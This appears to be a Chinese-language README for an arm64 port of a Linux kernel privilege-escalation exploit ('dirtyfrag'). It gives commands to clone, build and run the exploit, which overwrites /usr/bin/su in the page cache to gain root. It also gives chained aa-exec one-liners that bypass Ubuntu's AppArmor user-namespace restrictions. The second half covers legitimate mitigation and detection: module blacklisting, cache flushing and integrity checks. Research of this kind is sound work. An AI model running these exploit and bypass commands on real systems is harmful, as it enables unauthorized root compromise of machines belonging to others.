V4bel/dirtyfrag(CVE-2026-43284、CVE-2026-43500)的 arm64/aarch64 移植版本。
已在 Ubuntu 24.04.4 LTS 上使用 linux-aws 6.17.0-1013-aws(截至撰写本文时可用的最新版本)在 AWS Graviton 上测试通过。
包含 AppArmor 绕过分析、加固说明和检测说明的完整文章: linnemanlabs.com/posts/porting-dirtyfrag-arm64
Ubuntu 有两个 AppArmor sysctl:
两者都可以通过使用我测试的标准 Ubuntu 云和安装程序镜像上存在的配置文件,将 aa-exec 与自身链式调用来绕过:
aa-exec -p crun -- aa-exec -p crun -- ./dirtyfrag_arm64 --force-esp
更多信息请参阅 Two Hops and a Shell,了解 Ubuntu AppArmor 绕过的完整分析。
上游的 x86_64 PoC 使用了两种漏洞利用路径:一种是通过 ESP/xfrm 路径破坏 /usr/bin/su,另一种是通过 rxrpc/rxkad 回退路径破坏 /etc/passwd。在 arm64 上,rxrpc 路径会导致内核 oops 而无法使用。ESP 路径可以正常工作。
flush_dcache_page在 x86_64 上,flush_dcache_page() 是一个空操作(no-op)。x86 具有硬件一致性数据和指令缓存。在 arm64 上,它会执行实际的 dcache 维护并解引用 struct page* 元数据。当 rxrpc 加密路径(rxkad_secure_packet -> crypto_pcbc_encrypt -> skcipher_walk_done)在通过 splice/vmsplice 链操纵了引用的页面上调用 flush_dcache_page 时,x86_64 会静默跳过,但 arm64 会触发转换错误并导致 oops:
pc : flush_dcache_page+0x18/0x58
lr : skcipher_walk_done+0xbc/0x260
crypto_pcbc_encrypt+0xe8/0x1c8 [pcbc]
crypto_skcipher_encrypt+0x48/0xb8
rxkad_secure_packet+0x108/0x270 [rxrpc]
rxrpc_send_data+0x264/0x550 [rxrpc]
在我测试的 arm64 系统上,拒绝 uid_map 写入会移除有效的 ESP 路径。命名空间可能仍然可以创建,但进程无法将自己映射为其中的 root 用户,也无法获得设置 XFRM 所需的命名空间能力。rxrpc 回退路径在 arm64 上未提供有效的无需命名空间的权限提升路径,反而会导致内核 oops。
在我的测试中,arm64 上只有 ESP 路径可行。该路径需要创建一个用户命名空间和一个网络命名空间,然后将调用用户成功映射为该命名空间内的 root 用户。发行版加固可以通过不同方式破坏该路径:Ubuntu 可以通过 AppArmor 用户命名空间限制来拒绝 uid_map 写入,我尚未在 Debian/RHEL 上测试。
在我测试的 Ubuntu 24.04 AWS 镜像上,apparmor_restrict_unprivileged_userns=1 通过拒绝新命名空间内的 uid_map 写入,阻止了从我的普通 SSH shell 直接进行漏洞利用。
然而,在默认的 apparmor_restrict_unprivileged_unconfined=0 下,无限制用户可以通过 aa-exec 转换到现有的 complain 模式配置文件(例如 runc)并绕过限制:
aa-exec -p runc -- ./dirtyfrag_arm64 --force-esp
设置 kernel.apparmor_restrict_unprivileged_unconfined=1 会阻止此路径,目前被广泛推荐作为阻止所有路径的解决方案。但是,添加另一个 aa-exec 也可以绕过该设置:
aa-exec -p crun -- aa-exec -p crun -- ./dirtyfrag_arm64 --force-esp
详情请参阅前面链接的文章。
该漏洞利用会使用一个最小的静态 ELF 覆盖页缓存中的 /usr/bin/su。上游 PoC 嵌入了一个带有 x86_64 shellcode 的 x86_64 ELF。此移植版本将其替换为等效的 aarch64 ELF:
e_machine:EM_AARCH64 (183) 而非 EM_X86_64 (62)svc #0 的 aarch64 指令,而非 syscall# 克隆
git clone https://github.com/linnemanlabs/dirtyfrag-arm64.git
# 构建
cd dirtyfrag-arm64
gcc -O0 -Wall -o dirtyfrag_arm64 dirtyfrag_arm64.c -lutil
# 运行
./dirtyfrag_arm64 --force-esp
--force-esp 标志完全跳过 rxrpc 路径,以确保避免 arm64 内核 oops。
截至 2026-05-09,最新可用的 Ubuntu 24.04 AWS 内核(6.17.0-1013-aws,构建于 4 月 24 日)未包含任何针对 Copy Fail(CVE-2026-31431,4 月 29 日披露)或 Dirty Frag(CVE-2026-43284/43500,5 月 7 日披露)的补丁。
将受影响模块加入黑名单,为你使用的发行版应用适当的系统加固。
对于未主动使用 IPsec 传输模式或 AFS 的系统是安全的。要阻止加载这些模块,请将以下内容放入 /etc/modprobe.d/dirtyfrag.conf:
install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false
Ubuntu 还建议重新生成 initramfs,以便黑名单在早期启动期间生效:
update-initramfs -u -k all
这可以阻止此类基于 splice 的页缓存攻击针对这些 SUID 二进制目标。漏洞利用需要读取目标文件的权限才能使用 splice()。用户仍然可以执行这些二进制文件。
请勿在不经测试的情况下在你的环境及所有工具中实施此操作。
chmod o-r /usr/bin/su
这不是修复,仅是一种缓解措施。权限提升的路径还有很多。
要从正在运行的系统卸载这些模块:
rmmod esp4 esp6 ipcomp4 ipcomp6 rxrpc 2>/dev/null
确保它们已卸载:
grep -qE '^(esp4|esp6|rxrpc) ' /proc/modules \
&& echo "受影响模块已加载" \
|| echo "受影响模块未加载"
刷新页缓存应移除恶意内容,并导致文件从磁盘重新读取。
echo 3 > /proc/sys/vm/drop_caches
注意:我测试此方法时结果有些不一致,但越多次尝试它越能按预期工作。对于此 PoC,你可以检查 /usr/bin/su 的 md5sum,如果不匹配,请重启。
执行刷新页缓存步骤,然后通过以下命令验证:
sha256sum /usr/bin/su
# 或通过包管理器:
dpkg -V util-linux # Debian/Ubuntu
rpm -V util-linux # RHEL/Amazon Linux
要采取更主动的立场来处理整个漏洞类别(而不仅仅是特定的 CVE),请参阅完整文章,了解 AppArmor 用户命名空间限制、模块预加载预防以及基于 Tetragon 的运行时检测和 YARA 规则。
flush_dcache_page 崩溃分析、AppArmor 研究、检测说明此工具仅用于授权的安全测试和研究。
未经授权对你不拥有或未经明确许可的系统进行使用是非法且不道德的。
MIT。复制、窃取、修改、学习、分享你的改进给我。或者不。这是代码,你想怎么用都行。
| 属性 | 值 |
|---|
| 实例 | AWS t4g.micro (Graviton2) |
| 操作系统 | Ubuntu 24.04.4 LTS |
| 内核 | 6.17.0-1013-aws #13~24.04.1-Ubuntu (构建于 2026-04-24) |
| 架构 | aarch64 |
unprivileged_userns_clone | 1 (已启用) |
| esp4 模块 | 可用,可加载 |
| rxrpc 模块 | 可用,可加载(但在 arm64 上崩溃) |
| 配置 | 标准 Ubuntu 24.04 云镜像,默认内核模块 |